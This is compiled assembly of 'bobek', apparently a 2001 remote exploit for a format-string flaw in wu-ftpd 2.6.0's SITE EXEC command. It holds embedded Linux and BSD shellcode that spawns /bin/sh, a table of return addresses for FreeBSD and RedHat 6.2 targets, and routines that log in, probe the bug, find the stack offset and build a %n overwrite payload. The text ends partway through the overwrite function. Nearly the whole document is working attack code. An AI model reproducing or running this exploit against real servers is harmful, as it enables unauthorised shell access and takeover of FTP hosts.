	.file	"125168.c"
	.intel_syntax noprefix
	.text
	.globl	usage
	.data
	.align 32
	.type	usage, @object
	.size	usage, 83
usage:
	.string	"usage: bobek [-l login] [-o port] [-f retofs] [-s retlocofs]\n\t<-t type> <hostname>"
	.globl	recvbuf
	.bss
	.align 32
	.type	recvbuf, @object
	.size	recvbuf, 8192
recvbuf:
	.zero	8192
	.globl	sendbuf
	.align 32
	.type	sendbuf, @object
	.size	sendbuf, 8192
sendbuf:
	.zero	8192
	.globl	cin
	.align 8
	.type	cin, @object
	.size	cin, 8
cin:
	.zero	8
	.globl	cout
	.align 8
	.type	cout, @object
	.size	cout, 8
cout:
	.zero	8
	.globl	linuxcode
	.data
	.align 32
	.type	linuxcode, @object
	.size	linuxcode, 173
linuxcode:
	.string	"1\3001\3331\311\260F\315\2001\3001\333C\211\331A\260?\315\200\353k^1\3001\311\215^\001\210F\004f\271\377\001\260'\315\2001\300\215^\001\260=\315\2001\3001\333\215^\b\211C\0021\311\376\3111\300\215^\b\260\f\315\200\376\311u\3631\300\210F\t\215^\b\260=\315\200\376\016\2600\376\310\210F\0041\300\210F\007\211v\b\211F\f\211\363\215N\b\215V\f\260\013\315\2001\3001\333\260\001\315\200\350\220\377\377\3770bin0sh1..11venglin@kocham.kasie.com"
	.globl	bsdcode
	.align 32
	.type	bsdcode, @object
	.size	bsdcode, 186
bsdcode:
	.string	"1\300PPP\260~\315\2001\3331\300CCSKSS\260Z\315\200\353w^1\300\215^\001\210F\004fh\377\001SS\260\210\315\2001\300\215^\001SS\260=\315\2001\3001\333\215^\b\211C\0021\311\376\3111\300\215^\bSS\260\f\315\200\376\311u\3611\300\210F\t\215^\bSS\260=\315\200\376\016\2600\376\310\210F\0041\300\210F\007\211v\b\211F\f\211\363\215N\b\215V\fRQSS\260;\315\2001\3001\333SS\260\001\315\200\350\204\377\377\3770bin0sh1..11venglin@kocham.kasie.com"
	.section	.rodata
	.align 32
	.type	rcsid, @object
	.size	rcsid, 57
rcsid:
	.string	"$Id: bobek.c,v 1.1.1.1 2001/05/21 15:28:06 venglin Exp $"
	.globl	targ
.LC0:
	.string	"FreeBSD 3.4-STABLE"
.LC1:
	.string	"2.6.0-ports"
.LC2:
	.string	"FreeBSD 5.0-CURRENT"
.LC3:
	.string	"2.6.0-packages"
.LC4:
	.string	"2.6.0-venglin"
.LC5:
	.string	"RedHat Linux 6.2"
.LC6:
	.string	"2.6.0-RPM"
.LC7:
	.string	"RedHat Linux 6.2-SMP"
	.section	.data.rel.local,"aw"
	.align 32
	.type	targ, @object
	.size	targ, 616
targ:
	.quad	.LC0
	.quad	.LC1
	.quad	bsdcode
	.long	2
	.long	1024
	.quad	134946576
	.quad	3217017860
	.long	0
	.zero	4
	.quad	.LC2
	.quad	.LC1
	.quad	bsdcode
	.long	2
	.long	1024
	.quad	134944016
	.quad	3217026060
	.long	0
	.zero	4
	.quad	.LC0
	.quad	.LC3
	.quad	bsdcode
	.long	2
	.long	1024
	.quad	134944016
	.quad	3217024920
	.long	0
	.zero	4
	.quad	.LC0
	.quad	.LC4
	.quad	bsdcode
	.long	2
	.long	1024
	.quad	134678412
	.quad	3217017860
	.long	0
	.zero	4
	.quad	.LC5
	.quad	.LC6
	.quad	linuxcode
	.long	2
	.long	1024
	.quad	134699488
	.quad	3221213044
	.long	0
	.zero	4
	.quad	.LC5
	.quad	.LC6
	.quad	linuxcode
	.long	2
	.long	1024
	.quad	134699488
	.quad	3221213300
	.long	0
	.zero	4
	.quad	.LC5
	.quad	.LC6
	.quad	linuxcode
	.long	2
	.long	1024
	.quad	134699488
	.quad	3221213060
	.long	0
	.zero	4
	.quad	.LC5
	.quad	.LC6
	.quad	linuxcode
	.long	2
	.long	1024
	.quad	134699488
	.quad	3221213260
	.long	0
	.zero	4
	.quad	.LC7
	.quad	.LC6
	.quad	linuxcode
	.long	2
	.long	1024
	.quad	134699488
	.quad	3221213412
	.long	0
	.zero	4
	.quad	.LC5
	.quad	.LC6
	.quad	linuxcode
	.long	2
	.long	1024
	.quad	134699488
	.quad	3221212780
	.long	0
	.zero	4
	.quad	0
	.quad	0
	.quad	0
	.long	0
	.long	0
	.quad	0
	.quad	0
	.zero	8
	.text
	.globl	getip
	.type	getip, @function
getip:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR -24[rbp]
	mov	rdi, rax
	call	inet_addr@PLT
	mov	eax, eax
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	rdx, QWORD PTR -8[rbp]
	sub	rdx, QWORD PTR fs:40
	je	.L3
	call	__stack_chk_fail@PLT
.L3:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	getip, .-getip
	.section	.rodata
.LC8:
	.string	"socket"
.LC9:
	.string	"connect"
.LC10:
	.string	"r"
.LC11:
	.string	"w"
	.text
	.globl	connecttoftp
	.type	connecttoftp, @function
connecttoftp:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 64
	mov	QWORD PTR -56[rbp], rdi
	mov	DWORD PTR -60[rbp], esi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rax, -32[rbp]
	mov	QWORD PTR [rax], 0
	mov	QWORD PTR 8[rax], 0
	mov	WORD PTR -32[rbp], 2
	mov	rax, QWORD PTR -56[rbp]
	mov	rdi, rax
	mov	eax, 0
	call	getip
	mov	DWORD PTR -28[rbp], eax
	mov	eax, DWORD PTR -60[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR -30[rbp], ax
	mov	edx, 0
	mov	esi, 1
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -36[rbp], eax
	cmp	DWORD PTR -36[rbp], 0
	jns	.L5
	lea	rdi, .LC8[rip]
	call	perror@PLT
	mov	eax, -1
	jmp	.L10
.L5:
	lea	rcx, -32[rbp]
	mov	eax, DWORD PTR -36[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	edi, eax
	call	connect@PLT
	test	eax, eax
	jns	.L7
	lea	rdi, .LC9[rip]
	call	perror@PLT
	mov	eax, DWORD PTR -36[rbp]
	mov	edi, eax
	call	close@PLT
	mov	eax, -1
	jmp	.L10
.L7:
	mov	eax, DWORD PTR -36[rbp]
	lea	rsi, .LC10[rip]
	mov	edi, eax
	call	fdopen@PLT
	mov	QWORD PTR cin[rip], rax
	mov	eax, DWORD PTR -36[rbp]
	lea	rsi, .LC11[rip]
	mov	edi, eax
	call	fdopen@PLT
	mov	QWORD PTR cout[rip], rax
	mov	rax, QWORD PTR cin[rip]
	test	rax, rax
	je	.L8
	mov	rax, QWORD PTR cout[rip]
	test	rax, rax
	jne	.L9
.L8:
	mov	eax, DWORD PTR -36[rbp]
	mov	edi, eax
	call	close@PLT
	mov	eax, -1
	jmp	.L10
.L9:
	mov	eax, DWORD PTR -36[rbp]
.L10:
	mov	rdx, QWORD PTR -8[rbp]
	sub	rdx, QWORD PTR fs:40
	je	.L11
	call	__stack_chk_fail@PLT
.L11:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	connecttoftp, .-connecttoftp
	.section	.rodata
.LC12:
	.string	"\r\n"
	.text
	.globl	command
	.type	command, @function
command:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	lea	r11, -24576[rsp]
.LPSRL0:
	sub	rsp, 4096
	or	DWORD PTR [rsp], 0
	cmp	rsp, r11
	jne	.LPSRL0
	sub	rsp, 256
	mov	QWORD PTR -24824[rbp], rdi
	mov	QWORD PTR -168[rbp], rsi
	mov	QWORD PTR -160[rbp], rdx
	mov	QWORD PTR -152[rbp], rcx
	mov	QWORD PTR -144[rbp], r8
	mov	QWORD PTR -136[rbp], r9
	test	al, al
	je	.L13
	movaps	XMMWORD PTR -128[rbp], xmm0
	movaps	XMMWORD PTR -112[rbp], xmm1
	movaps	XMMWORD PTR -96[rbp], xmm2
	movaps	XMMWORD PTR -80[rbp], xmm3
	movaps	XMMWORD PTR -64[rbp], xmm4
	movaps	XMMWORD PTR -48[rbp], xmm5
	movaps	XMMWORD PTR -32[rbp], xmm6
	movaps	XMMWORD PTR -16[rbp], xmm7
.L13:
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -184[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR cout[rip]
	test	rax, rax
	jne	.L14
	mov	eax, -1
	jmp	.L20
.L14:
	lea	rax, -24768[rbp]
	mov	rsi, rax
	mov	eax, 0
	mov	edx, 1024
	mov	rdi, rsi
	mov	rcx, rdx
	rep stosq
	lea	rax, -16576[rbp]
	mov	edx, 16384
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	DWORD PTR -24792[rbp], 8
	mov	DWORD PTR -24788[rbp], 48
	lea	rax, 16[rbp]
	mov	QWORD PTR -24784[rbp], rax
	lea	rax, -176[rbp]
	mov	QWORD PTR -24776[rbp], rax
	lea	rcx, -24792[rbp]
	mov	rdx, QWORD PTR -24824[rbp]
	lea	rax, -24768[rbp]
	mov	esi, 8192
	mov	rdi, rax
	call	vsnprintf@PLT
	lea	rax, -24768[rbp]
	mov	QWORD PTR -24808[rbp], rax
	lea	rax, -16576[rbp]
	mov	QWORD PTR -24800[rbp], rax
	jmp	.L16
.L19:
	mov	rax, QWORD PTR -24808[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, -1
	jne	.L17
	mov	rax, QWORD PTR -24800[rbp]
	lea	rdx, 1[rax]
	mov	QWORD PTR -24800[rbp], rdx
	mov	BYTE PTR [rax], -1
	mov	rax, QWORD PTR -24800[rbp]
	mov	BYTE PTR [rax], -1
	jmp	.L18
.L17:
	mov	rax, QWORD PTR -24808[rbp]
	movzx	edx, BYTE PTR [rax]
	mov	rax, QWORD PTR -24800[rbp]
	mov	BYTE PTR [rax], dl
.L18:
	add	QWORD PTR -24808[rbp], 1
	add	QWORD PTR -24800[rbp], 1
.L16:
	mov	rax, QWORD PTR -24808[rbp]
	movzx	eax, BYTE PTR [rax]
	test	al, al
	jne	.L19
	mov	rdx, QWORD PTR cout[rip]
	lea	rax, -16576[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	fputs@PLT
	mov	rax, QWORD PTR cout[rip]
	mov	rcx, rax
	mov	edx, 2
	mov	esi, 1
	lea	rdi, .LC12[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR cout[rip]
	mov	rdi, rax
	call	fflush@PLT
	mov	eax, 0
.L20:
	mov	rcx, QWORD PTR -184[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L21
	call	__stack_chk_fail@PLT
.L21:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	command, .-command
	.section	.rodata
.LC13:
	.string	"<-- %s"
	.text
	.globl	getreply
	.type	getreply, @function
getreply:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	rax, QWORD PTR cin[rip]
	mov	rdx, rax
	mov	esi, 8192
	lea	rdi, recvbuf[rip]
	call	fgets@PLT
	test	rax, rax
	jne	.L23
	mov	eax, -1
	jmp	.L24
.L23:
	cmp	DWORD PTR -4[rbp], 0
	je	.L25
	mov	rax, QWORD PTR stderr[rip]
	lea	rdx, recvbuf[rip]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
.L25:
	mov	eax, 0
.L24:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE9:
	.size	getreply, .-getreply
	.section	.rodata
.LC14:
	.string	"220 "
.LC15:
	.string	"USER %s"
.LC16:
	.string	"331"
.LC17:
	.string	"PASS %s"
.LC18:
	.string	"230 "
	.text
	.globl	logintoftp
	.type	logintoftp, @function
logintoftp:
.LFB10:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	QWORD PTR -16[rbp], rsi
.L29:
	mov	edi, 0
	mov	eax, 0
	call	getreply
	test	eax, eax
	jns	.L27
	mov	eax, -1
	jmp	.L28
.L27:
	mov	edx, 4
	lea	rsi, .LC14[rip]
	lea	rdi, recvbuf[rip]
	call	strncmp@PLT
	test	eax, eax
	jne	.L29
	mov	rax, QWORD PTR -8[rbp]
	mov	rsi, rax
	lea	rdi, .LC15[rip]
	mov	eax, 0
	call	command
	test	eax, eax
	jns	.L30
	mov	eax, -1
	jmp	.L28
.L30:
	mov	edi, 0
	mov	eax, 0
	call	getreply
	test	eax, eax
	jns	.L31
	mov	eax, -1
	jmp	.L28
.L31:
	mov	edx, 3
	lea	rsi, .LC16[rip]
	lea	rdi, recvbuf[rip]
	call	strncmp@PLT
	test	eax, eax
	je	.L32
	lea	rdi, recvbuf[rip]
	call	puts@PLT
	mov	eax, -1
	jmp	.L28
.L32:
	mov	rax, QWORD PTR -16[rbp]
	mov	rsi, rax
	lea	rdi, .LC17[rip]
	mov	eax, 0
	call	command
	test	eax, eax
	jns	.L33
	mov	eax, -1
	jmp	.L28
.L33:
	mov	edi, 0
	mov	eax, 0
	call	getreply
	test	eax, eax
	jns	.L34
	mov	eax, -1
	jmp	.L28
.L34:
	mov	edx, 4
	lea	rsi, .LC18[rip]
	lea	rdi, recvbuf[rip]
	call	strncmp@PLT
	test	eax, eax
	jne	.L33
	mov	eax, 0
.L28:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE10:
	.size	logintoftp, .-logintoftp
	.section	.rodata
.LC19:
	.string	"SITE EXEC %%p"
.LC20:
	.string	"200-"
.LC21:
	.string	"0x"
	.text
	.globl	checkvuln
	.type	checkvuln, @function
checkvuln:
.LFB11:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	lea	rdi, .LC19[rip]
	mov	eax, 0
	call	command
	mov	edi, 0
	mov	eax, 0
	call	getreply
	test	eax, eax
	jns	.L36
	mov	eax, -1
	jmp	.L37
.L36:
	mov	edx, 4
	lea	rsi, .LC20[rip]
	lea	rdi, recvbuf[rip]
	call	strncmp@PLT
	test	eax, eax
	je	.L38
	mov	eax, -1
	jmp	.L37
.L38:
	lea	rax, recvbuf[rip+4]
	mov	edx, 2
	lea	rsi, .LC21[rip]
	mov	rdi, rax
	call	strncmp@PLT
	test	eax, eax
	je	.L39
	mov	eax, -1
	jmp	.L37
.L39:
	mov	edi, 0
	mov	eax, 0
	call	getreply
	test	eax, eax
	jns	.L40
	mov	eax, -1
	jmp	.L37
.L40:
	mov	eax, 0
.L37:
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE11:
	.size	checkvuln, .-checkvuln
	.section	.rodata
.LC22:
	.string	"at offset %d\n"
.LC23:
	.string	"64636261"
	.text
	.globl	findeip
	.type	findeip, @function
findeip:
.LFB12:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 80
	mov	DWORD PTR -68[rbp], edi
	mov	DWORD PTR -72[rbp], esi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	eax, DWORD PTR -68[rbp]
	mov	DWORD PTR -52[rbp], eax
.L56:
	mov	rax, QWORD PTR stderr[rip]
	mov	edx, DWORD PTR -52[rbp]
	lea	rsi, .LC22[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	movabs	rax, 4996819791471987027
	mov	QWORD PTR sendbuf[rip], rax
	mov	WORD PTR sendbuf[rip+8], 8259
	mov	BYTE PTR sendbuf[rip+10], 0
	mov	DWORD PTR -48[rbp], 0
	jmp	.L42
.L43:
	lea	rdi, sendbuf[rip]
	call	strlen@PLT
	mov	rdx, rax
	lea	rax, sendbuf[rip]
	add	rax, rdx
	mov	WORD PTR [rax], 97
	add	DWORD PTR -48[rbp], 1
.L42:
	mov	eax, DWORD PTR -48[rbp]
	cmp	eax, DWORD PTR -72[rbp]
	jl	.L43
	lea	rdi, sendbuf[rip]
	call	strlen@PLT
	mov	rdx, rax
	lea	rax, sendbuf[rip]
	add	rax, rdx
	mov	DWORD PTR [rax], 1684234849
	mov	BYTE PTR 4[rax], 0
	mov	DWORD PTR -48[rbp], 0
	jmp	.L44
.L45:
	lea	rdi, sendbuf[rip]
	call	strlen@PLT
	mov	rdx, rax
	lea	rax, sendbuf[rip]
	add	rax, rdx
	mov	DWORD PTR [rax], 1714300197
	mov	BYTE PTR 4[rax], 0
	add	DWORD PTR -48[rbp], 1
.L44:
	mov	eax, DWORD PTR -68[rbp]
	lea	edx, 7[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 3
	cmp	DWORD PTR -48[rbp], eax
	jl	.L45
	mov	DWORD PTR -48[rbp], 0
	jmp	.L46
.L47:
	lea	rdi, sendbuf[rip]
	call	strlen@PLT
	mov	rdx, rax
	lea	rax, sendbuf[rip]
	add	rax, rdx
	mov	DWORD PTR [rax], 627320101
	mov	WORD PTR 4[rax], 25637
	mov	BYTE PTR 6[rax], 0
	add	DWORD PTR -48[rbp], 1
.L46:
	mov	eax, DWORD PTR -52[rbp]
	sub	eax, DWORD PTR -68[rbp]
	lea	edx, 7[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 3
	cmp	DWORD PTR -48[rbp], eax
	jl	.L47
	lea	rdi, sendbuf[rip]
	call	strlen@PLT
	mov	rdx, rax
	lea	rax, sendbuf[rip]
	add	rax, rdx
	movabs	rcx, 2701166059203143036
	mov	QWORD PTR [rax], rcx
	mov	DWORD PTR 8[rax], 2016947749
	mov	BYTE PTR 12[rax], 0
	lea	rdi, sendbuf[rip]
	mov	eax, 0
	call	command
	test	eax, eax
	jns	.L48
	mov	eax, -1
	jmp	.L58
.L48:
	mov	edi, 0
	mov	eax, 0
	call	getreply
	test	eax, eax
	jns	.L50
	mov	eax, -1
	jmp	.L58
.L50:
	mov	esi, 124
	lea	rdi, recvbuf[rip]
	call	strchr@PLT
	mov	QWORD PTR -40[rbp], rax
	cmp	QWORD PTR -40[rbp], 0
	jne	.L51
	mov	eax, -1
	jmp	.L58
.L51:
	mov	rax, QWORD PTR -40[rbp]
	lea	rcx, 1[rax]
	lea	rax, -28[rbp]
	mov	edx, 8
	mov	rsi, rcx
	mov	rdi, rax
	call	strncpy@PLT
	mov	rax, QWORD PTR -40[rbp]
	lea	rcx, 10[rax]
	lea	rax, -18[rbp]
	mov	edx, 8
	mov	rsi, rcx
	mov	rdi, rax
	call	strncpy@PLT
	mov	BYTE PTR -10[rbp], 0
	movzx	eax, BYTE PTR -10[rbp]
	mov	BYTE PTR -20[rbp], al
	lea	rax, -28[rbp]
	lea	rsi, .LC23[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L52
	mov	eax, DWORD PTR -52[rbp]
	mov	DWORD PTR -44[rbp], eax
	jmp	.L53
.L52:
	lea	rax, -18[rbp]
	lea	rsi, .LC23[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L54
	mov	eax, DWORD PTR -52[rbp]
	add	eax, 4
	mov	DWORD PTR -44[rbp], eax
	jmp	.L53
.L54:
	mov	edi, 0
	mov	eax, 0
	call	getreply
	test	eax, eax
	jns	.L55
	mov	eax, -1
	jmp	.L58
.L55:
	add	DWORD PTR -52[rbp], 8
	jmp	.L56
.L53:
	mov	edi, 0
	mov	eax, 0
	call	getreply
	test	eax, eax
	jns	.L57
	mov	eax, -1
	jmp	.L58
.L57:
	mov	eax, DWORD PTR -44[rbp]
.L58:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L59
	call	__stack_chk_fail@PLT
.L59:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE12:
	.size	findeip, .-findeip
	.globl	putshell
	.type	putshell, @function
putshell:
.LFB13:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	DWORD PTR -20[rbp], edi
	mov	eax, DWORD PTR -20[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 3
	sub	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	lea	rax, targ[rip+16]
	mov	rax, QWORD PTR [rdx+rax]
	mov	QWORD PTR -8[rbp], rax
	mov	rax, QWORD PTR -8[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	edx, eax
	mov	eax, 398
	sub	eax, edx
	mov	DWORD PTR -12[rbp], eax
	mov	eax, DWORD PTR -12[rbp]
	cdqe
	mov	rdx, rax
	mov	esi, 144
	lea	rdi, buf.0[rip]
	call	memset@PLT
	mov	eax, DWORD PTR -12[rbp]
	add	eax, 1
	cdqe
	lea	rdx, buf.0[rip]
	mov	BYTE PTR [rax+rdx], 0
	mov	rax, QWORD PTR -8[rbp]
	mov	rsi, rax
	lea	rdi, buf.0[rip]
	call	strcat@PLT
	lea	rax, buf.0[rip]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE13:
	.size	putshell, .-putshell
	.section	.rodata
	.align 8
.LC24:
	.string	"RET: %p, RET location: %p, RET location offset on stack: %d\n"
.LC25:
	.string	"Reply size: %d, New RET: %p\n"
.LC26:
	.string	"%c%c%c%c"
.LC27:
	.string	"%d"
	.text
	.globl	overwrite
	.type	overwrite, @function
overwrite:
.LFB14:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 160
	mov	QWORD PTR -136[rbp], rdi
	mov	DWORD PTR -140[rbp], esi
	mov	DWORD PTR -144[rbp], edx
	mov	QWORD PTR -152[rbp], rcx
	mov	DWORD PTR -156[rbp], r8d
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -116[rbp], 0
	mov	rcx, QWORD PTR -152[rbp]
	mov	rdx, QWORD PTR -136[rbp]
	mov	rax, QWORD PTR stderr[rip]
	mov	esi, DWORD PTR -140[rbp]
	mov	r8d, esi
	lea	rsi, .LC24[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	cmp	DWORD PTR -140[rbp], 11
	jle	.L63
	movabs	rax, 4996819791471987027
	mov	QWORD PTR sendbuf[rip], rax
	mov	WORD PTR sendbuf[rip+8], 8259
	mov	BYTE PTR sendbuf[rip+10], 0
	mov	DWORD PTR -120[rbp], 0
	jmp	.L64
.L65:
	lea	rdi, sendbuf[rip]
	call	strlen@PLT
	mov	rdx, rax
	lea	rax, sendbuf[rip]
	add	rax, rdx
	mov	DWORD PTR [rax], 1714300197
	mov	BYTE PTR 4[rax], 0
	add	DWORD PTR -120[rbp], 1
.L64:
	mov	eax, DWORD PTR -156[rbp]
	lea	edx, 7[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 3
	cmp	DWORD PTR -120[rbp], eax
	jl	.L65
	mov	DWORD PTR -120[rbp], 0
	jmp	.L66
.L67:
	lea	rdi, sendbuf[rip]
	call	strlen@PLT
	mov	rdx, rax
	lea	rax, sendbuf[rip]
	add	rax, rdx
	mov	DWORD PTR [rax], 627320101
	mov	WORD PTR 4[rax], 25637
	mov	BYTE PTR 6[rax], 0
	add	DWORD PTR -120[rbp], 1
.L66:
	mov	eax, DWORD PTR -140[rbp]
	sub	eax, DWORD PTR -156[rbp]
	sub	eax, 8
	lea	edx, 7[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 3
	cmp	DWORD PTR -120[rbp], eax
	jl	.L67
	mov	eax, DWORD PTR -140[rbp]
	sub	eax, DWORD PTR -156[rbp]
	sub	eax, 8
	and	eax, 7
	test	eax, eax
	je	.L68
	lea	rdi, sendbuf[rip]
	call	strlen@PLT
	mov	rdx, rax
	lea	rax, sendbuf[rip]
	add	rax, rdx
	mov	DWORD PTR [rax], 627320101
	mov	WORD PTR 4[rax], 25637
	mov	BYTE PTR 6[rax], 0
.L68:
	lea	rdi, sendbuf[rip]
	mov	eax, 0
	call	command
	test	eax, eax
	jns	.L69
	mov	eax, -1
	jmp	.L80
.L69:
	mov	edi, 0
	mov	eax, 0
	call	getreply
	test	eax, eax
	jns	.L71
	mov	eax, -1
	jmp	.L80
.L71:
	lea	rax, recvbuf[rip+4]
	mov	rdi, rax
	call	strlen@PLT
	sub	eax, 2
	mov	DWORD PTR -116[rbp], eax
	mov	edi, 0
	mov	eax, 0
	call	getreply
	test	eax, eax
	jns	.L63
	mov	eax, -1
	jmp	.L80
.L63:
	mov	eax, DWORD PTR -116[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -136[rbp]
	sub	rax, rdx
	mov	rcx, rax
	mov	rax, QWORD PTR stderr[rip]
	mov	edx, DWORD PTR -116[rbp]
	lea	rsi, .LC25[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	movabs	rax, 4996819791471987027
	mov	QWORD PTR sendbuf[rip], rax
	mov	WORD PTR sendbuf[rip+8], 8259
	mov	BYTE PTR sendbuf[rip+10], 0
	mov	DWORD PTR -120[rbp], 0
	jmp	.L72
.L73:
	lea	rdi, sendbuf[rip]
	call	strlen@PLT
	mov	rdx, rax
	lea	rax, sendbuf[rip]
	add	rax, rdx
	mov	WORD PTR [rax], 97
	add	DWORD PTR -120[rbp], 1
.L72:
	mov	eax, DWORD PTR -120[rbp]
	cmp	eax, DWORD PTR -144[rbp]
	jl	.L73
	mov	rax, QWORD PTR -152[rbp]
	shr	eax, 24
	mov	edi, eax
	mov	rax, QWORD PTR -152[rbp]
	sar	eax, 16
	movzx	esi, al
	mov	rax, QWORD PTR -152[rbp]
	sar	eax, 8
	movzx	ecx, al
	mov	rax, QWORD PTR -152[rbp]
	movzx	edx, al
	lea	rax, -112[rbp]
	mov	r9d, edi
	mov	r8d, esi
	lea	rsi, .LC26[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	lea	rax, -112[rbp]
	mov	rsi, rax
	lea	rdi, sendbuf[rip]
	call	strcat@PLT
	mov	DWORD PTR -120[rbp], 0
	jmp	.L74
.L75:
	lea	rdi, sendbuf[rip]
	call	strlen@PLT
	mov	rdx, rax
	lea	rax, sendbuf[rip]
	add	rax, rdx
	mov	DWORD PTR [rax], 1714300197
	mov	BYTE PTR 4[rax], 0
	add	DWORD PTR -120[rbp], 1
.L74:
	mov	eax, DWORD PTR -156[rbp]
	lea	edx, 7[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 3
	cmp	DWORD PTR -120[rbp], eax
	jl	.L75
	mov	DWORD PTR -120[rbp], 0
	jmp	.L76
.L77:
	lea	rdi, sendbuf[rip]
	call	strlen@PLT
	mov	rdx, rax
	lea	rax, sendbuf[rip]
	add	rax, rdx
	mov	DWORD PTR [rax], 627320101
	mov	WORD PTR 4[rax], 25637
	mov	BYTE PTR 6[rax], 0
	add	DWORD PTR -120[rbp], 1
.L76:
	mov	eax, DWORD PTR -140[rbp]
	sub	eax, DWORD PTR -156[rbp]
	sub	eax, 8
	lea	edx, 7[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 3
	cmp	DWORD PTR -120[rbp], eax
	jl	.L77
	mov	eax, DWORD PTR -140[rbp]
	sub	eax, DWORD PTR -156[rbp]
	sub	eax, 8
	and	eax, 7
	test	eax, eax
	je	.L78
	lea	rdi, sendbuf[rip]
	call	strlen@PLT
	mov	rdx, rax
	lea	rax, sendbuf[rip]
	add	rax, rdx
	mov	DWORD PTR [rax], 627320101
	mov	WORD PTR 4[rax], 25637
	mov	BYTE PTR 6[rax], 0
.L78:
	lea	rdi, sendbuf[rip]
	call	strlen@PLT
	mov	rdx, rax
	lea	rax, sendbuf[rip]
	add	rax, rdx
	mov	DWORD PTR [rax], 3024165
	mov	rax, QWORD PTR -136[rbp]
	sub	eax, DWORD PTR -116[rbp]
	mov	edx, eax
	lea	rax, -112[rbp]
	lea	rsi, .LC27[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	lea	rax, -112[rbp]
	mov	rsi, rax
	lea	rdi, sendbuf[rip]
	call	strcat@PLT
	lea	rdi, sendbuf[rip]
	call	strlen@PLT
	mov	rdx, rax
	lea	rax, sendbuf[rip]
	add	rax, rdx
	mov	DWORD PTR [rax], 1847928164
	mov	BYTE PTR 4[rax], 0
	lea	rdi, sendbuf[rip]
	mov	eax, 0
	call	command
	test	eax, eax
	jns	.L79
	mov	eax, -1
	jmp	.L80
.L79:
	mov	eax, 0
.L80:
	mov	rcx, QWORD PTR -8[rbp]
